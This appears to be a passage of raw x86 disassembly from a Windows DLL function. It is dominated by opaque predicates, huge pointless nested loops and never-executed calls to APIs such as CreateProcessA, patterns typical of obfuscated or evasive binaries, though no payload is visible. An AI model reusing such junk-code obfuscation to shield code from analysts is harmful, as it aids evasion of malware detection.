mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x62ad
jge 0x1003ad7c
mov eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x274]
shl eax, cl
and eax, dword [ebp - 0x27c]
cdq
mov dword [ebp - 0xf60], eax
mov dword [ebp - 0xf5c], edx
push dword [ebp - 0xf5c]
push dword [ebp - 0xf60]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003ad2a
jmp 0x1003ad08
jmp 0x1003ace2
mov dword [ebp - 0x1c0], 0
jmp 0x1003ad9c
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 1
jg 0x1003adbf
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x12fc]
call fcn.1002129c
cmp dword [eax], 0
je 0x1003adbd
jmp 0x1003adbf
jmp 0x1003ad8f
cmp dword [ebp - 0xaf0], 0x350b
jge 0x1003addb
mov edx, dword [ebp - 0x1114]
mov ecx, 0x10084b98
call fcn.10023c34
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12fc]
call fcn.10021280
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003b212
mov dword [ebp - 0xdc], 0xa631
mov dword [ebp - 0xeb0], 0xffffffff
mov dword [ebp - 0x109c], 0xfffffffd
cmp dword [ebp - 0xdc], 0
je 0x1003af5a
mov dword [ebp - 0xbe8], 0x4b58e17c
mov dword [ebp - 0x284], 0
jmp 0x1003ae4a
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 3
jge 0x1003ae66
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0x1148], 0xda439beb
jmp 0x1003ae3d
mov dword [ebp - 0xdc], 0
jmp 0x1003ae7f
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jg 0x1003af55
mov eax, dword [ebp - 0xdc]
cmp dword [ebp + eax*4 - 0x1148], 0x1ded6804
jle 0x1003aeab
mov dword [ebp - 0x910], 1
jmp 0x1003aeb2
and dword [ebp - 0x910], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1148], 0
je 0x1003aeed
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1148], 0
jne 0x1003aee1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1148], 0
je 0x1003aeed
mov dword [ebp - 0x908], 1
jmp 0x1003aef4
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0xbe8], eax
cmp dword [ebp - 0xbe8], 0xfffffff7
jg 0x1003af15
mov dword [ebp - 0xaf8], 1
jmp 0x1003af1c
and dword [ebp - 0xaf8], 0
mov eax, dword [ebp - 0x910]
cmp eax, dword [ebp - 0xaf8]
jg 0x1003af36
mov dword [ebp - 0x918], 1
jmp 0x1003af3d
and dword [ebp - 0x918], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x918]
mov dword [ebp + eax - 0x1148], ecx
jmp 0x1003ae72
jmp 0x1003b207
mov dword [ebp - 0x938], 0xf230
mov dword [ebp - 0xc68], 0xffffffff
mov dword [ebp - 0x620], 0xb3799040
mov dword [ebp - 0x920], 0
mov dword [ebp - 0xbf0], 2
mov dword [ebp - 0x1194], 0
push 3
lea ecx, [ebp - 0x11f8]
call fcn.100211fe
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xc90], 0x610e
mov dword [ebp - 0x1094], 0x1000ae90
cmp dword [ebp - 0xc90], 0x6235
jle 0x1003b06e
and dword [ebp - 0x28c], 0
jmp 0x1003afe4
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x7069
jge 0x1003b06e
and dword [ebp - 0x294], 0
jmp 0x1003b006
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x6c50
jge 0x1003b069
mov eax, dword [ebp - 0x28c]
or eax, dword [ebp - 0x294]
cdq
mov dword [ebp - 0xf6c], eax
mov dword [ebp - 0xf68], edx
push dword [ebp - 0xf68]
push dword [ebp - 0xf6c]
lea ecx, [ebp - 0x182c]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xe98], eax
mov ecx, dword [ebp - 0xe98]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x182c]
call fcn.10020eba
jmp 0x1003aff9
jmp 0x1003afd7
cmp dword [ebp - 0xc90], 0x5db5
jge 0x1003b086
push dword [ebp - 0x1094]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x29c], 0
jmp 0x1003b09f
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 3
jge 0x1003b0c1
push dword [ebp - 0x29c]
lea ecx, [ebp - 0x11f8]
call fcn.1002129c
mov dword [eax], 0x2f23d37f
jmp 0x1003b092
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x1510], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 0
je 0x1003b103
mov eax, 0x9964
test eax, eax
je 0x1003b103
mov dword [ebp - 0xb00], 1
jmp 0x1003b10a
and dword [ebp - 0xb00], 0
cmp dword [ebp - 0xb00], 6
jl 0x1003b11f
mov dword [ebp - 0x928], 1
jmp 0x1003b126
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0xbf0], eax
cmp dword [ebp - 0xbf0], 0
je 0x1003b150
mov eax, 0xbf3b8cff
test eax, eax
je 0x1003b150
mov dword [ebp - 0x930], 1
jmp 0x1003b157
and dword [ebp - 0x930], 0
cmp dword [ebp - 0x930], 0xfffffff7
jg 0x1003b16c
mov dword [ebp - 0xb08], 1
jmp 0x1003b173
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0x938]
cmp eax, dword [ebp - 0xb08]
jg 0x1003b18d
mov dword [ebp - 0x940], 1
jmp 0x1003b194
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xc68], eax
mov eax, dword [ebp - 0xc68]
cmp eax, dword [ebp - 0x940]
jge 0x1003b1ba
mov dword [ebp - 0xea4], 1
jmp 0x1003b1c1
and dword [ebp - 0xea4], 0
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x1194], eax
mov esi, dword [ebp - 0xeb0]
push 2
lea ecx, [ebp - 0x11f8]
call fcn.1002129c
sub esi, dword [eax]
push 2
lea ecx, [ebp - 0x11f8]
call fcn.1002129c
imul esi, dword [eax]
mov dword [ebp - 0x109c], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11f8]
call fcn.10021280
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x98], ax
jmp 0x1003e963
push 1
lea ecx, [ebp - 0x15e0]
call fcn.100211fe
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x68], 0
jmp 0x1003b23b
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x1003b257
push dword [ebp - 0x68]
lea ecx, [ebp - 0x15e0]
call fcn.1002129c
mov dword [eax], 3
jmp 0x1003b234
mov dword [ebp - 0x68], 0
jmp 0x1003b267
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x1003b27d
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x11e0], 0xfffffff7
jmp 0x1003b260
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x11e0], 0
jmp 0x1003b2ab
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x11e0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x11e0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x11e0], 0
jg 0x1003b2ff
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x1003b2d5
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov byte [ebp - 0x16b], 0
movzx eax, byte [ebp - 0x16b]
test eax, eax
je 0x1003b2fd
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtTextOutA]
jmp 0x1003b290
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15e0]
call fcn.10021280
mov dword [ebp - 0x60], 0x4e064826
mov dword [ebp - 0x44], 0xdf3d37a5
mov dword [ebp - 0x5c], 0xbf5f
mov dword [ebp - 0xed4], 0xe91e
mov dword [ebp - 0x10ac], 0xeaaf72a6
mov dword [ebp - 0x60], 0
jmp 0x1003b347
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xffffffe5
je 0x1003b8e5
mov dword [ebp - 0x19c], 0xd925b0e4
mov dword [ebp - 0x184], 0x45fe46c2
mov dword [ebp - 0x980], 0xa103363
mov dword [ebp - 0x10a4], 0x75df642d
mov dword [ebp - 0x1518], 0x418f7f2f
mov dword [ebp - 0x19c], 0
jmp 0x1003b39c
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xc
jg 0x1003b8e0
mov dword [ebp - 0x70], 0
cmp dword [ebp - 0x60], 0xffff
jne 0x1003b3eb
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x70], eax
jne 0x1003b3cd
mov dword [ebp - 0xb10], 1
jmp 0x1003b3d4
and dword [ebp - 0xb10], 0
mov eax, dword [ebp - 0xb10]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x184], eax
jmp 0x1003b8db
mov dword [ebp - 0x70], 0
jmp 0x1003b3fb
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xf
jg 0x1003b8db
mov dword [ebp - 0x664], 0x9b05
mov dword [ebp - 0x184], 0
jmp 0x1003b428
mov eax, dword [ebp - 0x184]
dec eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xfffffff9
jne 0x1003b8d6
mov dword [ebp - 0xbf8], 0
mov dword [ebp - 0x5e8], 0
mov dword [ebp - 0x1520], 0x5e3164c1
mov dword [ebp - 0x44], 0
jmp 0x1003b463
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffeb
jg 0x1003b71d
mov dword [ebp - 0x978], 0x649b
mov dword [ebp - 0x111c], 0x1000aee0
cmp dword [ebp - 0x978], 0x682b
jle 0x1003b566
and dword [ebp - 0x234], 0
jmp 0x1003b4a7
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x6e5c
jge 0x1003b566
and dword [ebp - 0x2a4], 0
jmp 0x1003b4cd
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x2379
jge 0x1003b561
and dword [ebp - 0x2ac], 0
jmp 0x1003b4f3
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0xb46
jge 0x1003b55c
mov eax, dword [ebp - 0x2a4]
and eax, dword [ebp - 0x2ac]
or eax, dword [ebp - 0x234]
cdq
mov dword [ebp - 0xf78], eax
mov dword [ebp - 0xf74], edx
push dword [ebp - 0xf74]
push dword [ebp - 0xf78]
lea ecx, [ebp - 0x185c]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xebc], eax
mov ecx, dword [ebp - 0xebc]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x185c]
call fcn.10020eba
jmp 0x1003b4e6
jmp 0x1003b4c0
jmp 0x1003b49a
cmp dword [ebp - 0x184], 0
je 0x1003b5e9
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0xbf8]
jl 0x1003b589
mov dword [ebp - 0x948], 1
jmp 0x1003b590
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x948], eax
jne 0x1003b5aa
mov dword [ebp - 0x950], 1
jmp 0x1003b5b1
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0xbf8]
cmp dword [ebp - 0x950], eax
je 0x1003b5cb
mov dword [ebp - 0xb18], 1
jmp 0x1003b5d2
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xb18], eax
jg 0x1003b5e9
mov dword [ebp - 0x958], 1
jmp 0x1003b5f0
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x958]
je 0x1003b607
mov dword [ebp - 0xca0], 1
jmp 0x1003b60e
and dword [ebp - 0xca0], 0
cmp dword [ebp - 0xca0], 0xfffd
jae 0x1003b626
mov dword [ebp - 0x960], 1
jmp 0x1003b62d
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x960]
jne 0x1003b644
mov dword [ebp - 0xb20], 1
jmp 0x1003b64b
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0xb20]
neg eax
cmp eax, 1
jge 0x1003b664
mov dword [ebp - 0x968], 1
jmp 0x1003b66b
and dword [ebp - 0x968], 0
cmp dword [ebp - 0x968], 0x6e9f0866
je 0x1003b683
mov dword [ebp - 0xc00], 1
jmp 0x1003b68a
and dword [ebp - 0xc00], 0
cmp dword [ebp - 0xc00], 0x800f
je 0x1003b6a2
mov dword [ebp - 0x970], 1
jmp 0x1003b6a9
and dword [ebp - 0x970], 0
cmp dword [ebp - 0x970], 0x4a2
jl 0x1003b6c1
mov dword [ebp - 0xb28], 1
jmp 0x1003b6c8
and dword [ebp - 0xb28], 0
mov eax, dword [ebp - 0xb28]
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x978], 0x62a4
jge 0x1003b6ec
push dword [ebp - 0x111c]
call fcn.10069ba3
pop ecx
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x1003b718
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x1003b45c
mov dword [ebp - 0x5c], 0xfffffff0
jmp 0x1003b72d
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x25
jg 0x1003b8d1
mov dword [ebp - 0xec8], 0xdb40
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xec8]
mov dword [ebp - 0x1528], eax
xor eax, eax
jne 0x1003b76c
mov eax, 0x68f781be
test eax, eax
jne 0x1003b76c
and dword [ebp - 0xc70], 0
jmp 0x1003b776
mov dword [ebp - 0xc70], 1
mov eax, dword [ebp - 0xc70]
neg eax
cmp eax, 6
je 0x1003b78f
mov dword [ebp - 0xb30], 1
jmp 0x1003b796
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0x980]
cmp dword [ebp - 0xb30], eax
jge 0x1003b7b0
mov dword [ebp - 0x988], 1
jmp 0x1003b7b7
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x988], eax
je 0x1003b7ce
mov dword [ebp - 0xc08], 1
jmp 0x1003b7d5
and dword [ebp - 0xc08], 0
cmp dword [ebp - 0xc08], 5
jb 0x1003b7ea
mov dword [ebp - 0x990], 1
jmp 0x1003b7f1
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x990], eax
jne 0x1003b814
cmp dword [ebp - 0x10a4], 0
je 0x1003b814
mov dword [ebp - 0x644], 1
jmp 0x1003b81b
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x5e8]
cmp dword [ebp - 0x644], eax
jl 0x1003b835
mov dword [ebp - 0x64c], 1
jmp 0x1003b83c
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x664]
cmp dword [ebp - 0x64c], eax
jne 0x1003b856
mov dword [ebp - 0x654], 1
jmp 0x1003b85d
and dword [ebp - 0x654], 0
cmp dword [ebp - 0x654], 0xa3bb
jg 0x1003b875
mov dword [ebp - 0x65c], 1
jmp 0x1003b87c
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x65c], eax
je 0x1003b898
xor eax, eax
inc eax
je 0x1003b898
mov dword [ebp - 0x66c], 1
jmp 0x1003b89f
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x664]
cmp dword [ebp - 0x66c], eax
jge 0x1003b8b9
mov dword [ebp - 0x674], 1
jmp 0x1003b8c0
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x5e8], eax
jmp 0x1003b726
jmp 0x1003b41b
jmp 0x1003b3f4
jmp 0x1003b38f
jmp 0x1003b340
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1530], eax
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x1003b907
cmp dword [ebp - 0x44], 0
je 0x1003b907
mov dword [ebp - 0x67c], 1
jmp 0x1003b90e
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x67c]
jg 0x1003b925
mov dword [ebp - 0x684], 1
jmp 0x1003b92c
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x684]
mov dword [ebp - 0x44], eax
imul eax, dword [ebp - 0x44], 0xfffffffb
test eax, eax
je 0x1003b94f
cmp dword [ebp - 0x5c], 0
je 0x1003b94f
mov dword [ebp - 0x68c], 1
jmp 0x1003b956
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x68c], eax
jl 0x1003b96d
mov dword [ebp - 0x694], 1
jmp 0x1003b974
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0xed4]
cmp dword [ebp - 0x694], eax
jle 0x1003b991
cmp dword [ebp - 0x5c], 0
jne 0x1003b991
and dword [ebp - 0x117c], 0
jmp 0x1003b99b
mov dword [ebp - 0x117c], 1
cmp dword [ebp - 0x60], 0
je 0x1003b9b6
mov eax, 0xd3fd
test eax, eax
je 0x1003b9b6
mov dword [ebp - 0xee0], 1
jmp 0x1003b9bd
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0x10ac]
mov dword [ebp - 0x1538], eax
mov dword [ebp - 0x60], 0xfffffffb
mov eax, dword [0x10085c54]
and eax, 1
jne 0x1003ba07
mov eax, dword [0x10085c54]
or eax, 1
mov dword [0x10085c54], eax
mov dword [ebp - 4], 0x1f
mov ecx, 0x1008a01c
call fcn.100213af
push 0x100802b9
call fcn.10069b79
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1008a00d]
test eax, eax
je 0x1003bedc
mov ecx, 0x1008a01c
call fcn.10042062
movzx eax, al
test eax, eax
jne 0x1003bedc
push 3
lea ecx, [ebp - 0x15f0]
call fcn.100211fe
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x2b4], 0
jmp 0x1003ba58
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 3
jge 0x1003ba7a
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0x15f0]
call fcn.1002129c
mov dword [eax], 2
jmp 0x1003ba4b
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x1003ba98
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x1003bab2
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15f0]
call fcn.10021280
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x6dc]
push eax
mov ecx, 0x1008a01c
call fcn.10021387
mov dword [ebp - 0x69c], 0x6be7
mov dword [ebp - 0xeec], 0x1000af24
cmp dword [ebp - 0x69c], 0x6df1
jle 0x1003bb72
and dword [ebp - 0x2bc], 0
jmp 0x1003bb0f
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x21da
jge 0x1003bb72
and dword [ebp - 0x2c4], 0
jmp 0x1003bb31
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x2974
jge 0x1003bb70
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp - 0x2c4]
shl eax, cl
cdq
mov dword [ebp - 0xf84], eax
mov dword [ebp - 0xf80], edx
push dword [ebp - 0xf80]
push dword [ebp - 0xf84]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003bb24
jmp 0x1003bb02
cmp dword [ebp - 0x69c], 0x692d
jge 0x1003bb8e
mov edx, dword [ebp - 0xeec]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x6a4], 0x4cd45360
mov dword [ebp - 0x1c8], 0xfffffff9
mov dword [ebp - 0x1360], 0x26d2
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c8], 0
jmp 0x1003bbd1
mov eax, dword [ebp - 0x1c8]
dec eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0xffffffe2
jl 0x1003bbff
mov byte [ebp - 0x154], 0
movzx eax, byte [ebp - 0x154]
test eax, eax
je 0x1003bbf2
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
cmp dword [ebp - 0x6a4], 0
je 0x1003bbfd
jmp 0x1003bbc4
jmp 0x1003bbc4
lea eax, [ebp - 0x1548]
push eax
mov ecx, 0x1008a01c
call fcn.10021379
push eax
lea ecx, [ebp - 0x6dc]
call fcn.1002139c
movzx eax, al
test eax, eax
je 0x1003bedc
mov dword [ebp - 0x2cc], 0xf01c
mov dword [ebp - 0x6b4], 0
mov dword [ebp - 0x6c4], 0x75c19c5a
cmp dword [ebp - 0x2cc], 0
je 0x1003bc6a
mov dword [ebp - 0x6ac], 1
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
jmp 0x1003bd92
mov dword [ebp - 0x610], 0xcafa32fd
mov dword [ebp - 0xef8], 0xffffffff
mov dword [ebp - 0x10b4], 0x13cef339
mov byte [ebp - 0x164], 0
movzx eax, byte [ebp - 0x164]
test eax, eax
je 0x1003bca4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov dword [ebp - 0x6b4], 0x38e486b5
mov eax, dword [ebp - 0x6b4]
mov ecx, dword [ebp - 0x610]
lea eax, [eax + ecx - 2]
cmp eax, dword [ebp - 0x2cc]
jg 0x1003bcd2
mov dword [ebp - 0x1124], 1
jmp 0x1003bcd9
and dword [ebp - 0x1124], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x1550], eax
cmp dword [ebp - 0x610], 5
jg 0x1003bd01
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x1003bd01
mov dword [ebp - 0x6bc], 1
jmp 0x1003bd08
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6c4]
imul eax, dword [ebp - 0x6bc]
imul eax, dword [ebp - 0x2cc]
mov dword [ebp - 0xef8], eax
mov eax, dword [ebp - 0x2cc]
sub eax, 0xffff
cmp eax, 1
je 0x1003bd47
cmp dword [ebp - 0x10b4], 0
je 0x1003bd47
mov dword [ebp - 0x6cc], 1
jmp 0x1003bd4e
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6c4]
cmp eax, dword [ebp - 0x6cc]
jl 0x1003bd78
mov byte [ebp - 0x156], 0
movzx eax, byte [ebp - 0x156]
test eax, eax
je 0x1003bd76
push 0
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
jmp 0x1003bd92
mov byte [ebp - 0x16c], 0
movzx eax, byte [ebp - 0x16c]
test eax, eax
je 0x1003bd92
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
mov byte [ebp - 0x158], 0
mov dword [ebp - 0x6d4], 0x21bf
mov dword [ebp - 0xf04], 0x1000af5c
cmp dword [ebp - 0x6d4], 0x22b7
jle 0x1003be9b
and dword [ebp - 0x2e4], 0
jmp 0x1003bdd3
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x7304
jge 0x1003be9b
and dword [ebp - 0x2d4], 0
jmp 0x1003bdf9
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x2d1e
jge 0x1003be96
and dword [ebp - 0x2dc], 0
jmp 0x1003be1f
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x2b2
jge 0x1003be91
and dword [ebp - 0x2ec], 0
jmp 0x1003be41
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x37f
jge 0x1003be8f
mov ecx, dword [ebp - 0x2d4]
imul ecx, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x2e4]
sar eax, cl
mov ecx, dword [ebp - 0x2ec]
sar eax, cl
cdq
mov dword [ebp - 0xf90], eax
mov dword [ebp - 0xf8c], edx
push dword [ebp - 0xf8c]
push dword [ebp - 0xf90]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003be34
jmp 0x1003be12
jmp 0x1003bdec
jmp 0x1003bdc6
movzx eax, byte [ebp - 0x158]
test eax, eax
je 0x1003beac
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [ebp - 0x6d4], 0x2155
jge 0x1003bec8
mov edx, dword [ebp - 0xf04]
mov ecx, 0x10084b98
call fcn.10023c34
lea ecx, [ebp - 0x6dc]
call fcn.1004206b
mov eax, dword [eax + 4]
mov dword [ebp - 0x188], eax
push 4
lea ecx, [ebp - 0xcc0]
call fcn.100211fe
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x10bc], 0xfffffff7
mov dword [ebp - 0x78], 0
jmp 0x1003bf0a
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 4
jge 0x1003bf26
push dword [ebp - 0x78]
lea ecx, [ebp - 0xcc0]
call fcn.1002129c
mov dword [eax], 0xfffffffb
jmp 0x1003bf03
mov dword [ebp - 0x6e4], 0x43b7
mov dword [ebp - 0xf10], 0x1000af98
cmp dword [ebp - 0x6e4], 0x45db
jle 0x1003c05a
and dword [ebp - 0x2f4], 0
jmp 0x1003bf60
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x2974
jge 0x1003c052
and dword [ebp - 0x2fc], 0
jmp 0x1003bf86
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x3536
jge 0x1003c04d
and dword [ebp - 0x304], 0
jmp 0x1003bfac
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x5e70
jge 0x1003c048
and dword [ebp - 0x30c], 0
jmp 0x1003bfd2
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x3173
jge 0x1003c043
mov eax, dword [ebp - 0x2f4]
add eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x304]
and ecx, dword [ebp - 0x30c]
xor eax, ecx
cdq
mov dword [ebp - 0xf9c], eax
mov dword [ebp - 0xf98], edx
push dword [ebp - 0xf98]
push dword [ebp - 0xf9c]
lea ecx, [ebp - 0x188c]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x118c], eax
mov ecx, dword [ebp - 0x118c]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x188c]
call fcn.10020eba
jmp 0x1003bfc5
jmp 0x1003bf9f
jmp 0x1003bf79
jmp 0x1003bf53
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [ebp - 0x78], 0
jmp 0x1003c06a
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 4
jge 0x1003c080
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x121c], 0xfebaeef2
jmp 0x1003c063
cmp dword [ebp - 0x6e4], 0x4289
jge 0x1003c098
push dword [ebp - 0xf10]
call fcn.10069ba3
pop ecx
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x121c], 3
jmp 0x1003c0c3
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x121c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x121c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x121c], 0
jl 0x1003c2f9
mov dword [ebp - 0x28], 0x7ad4351c
push 1
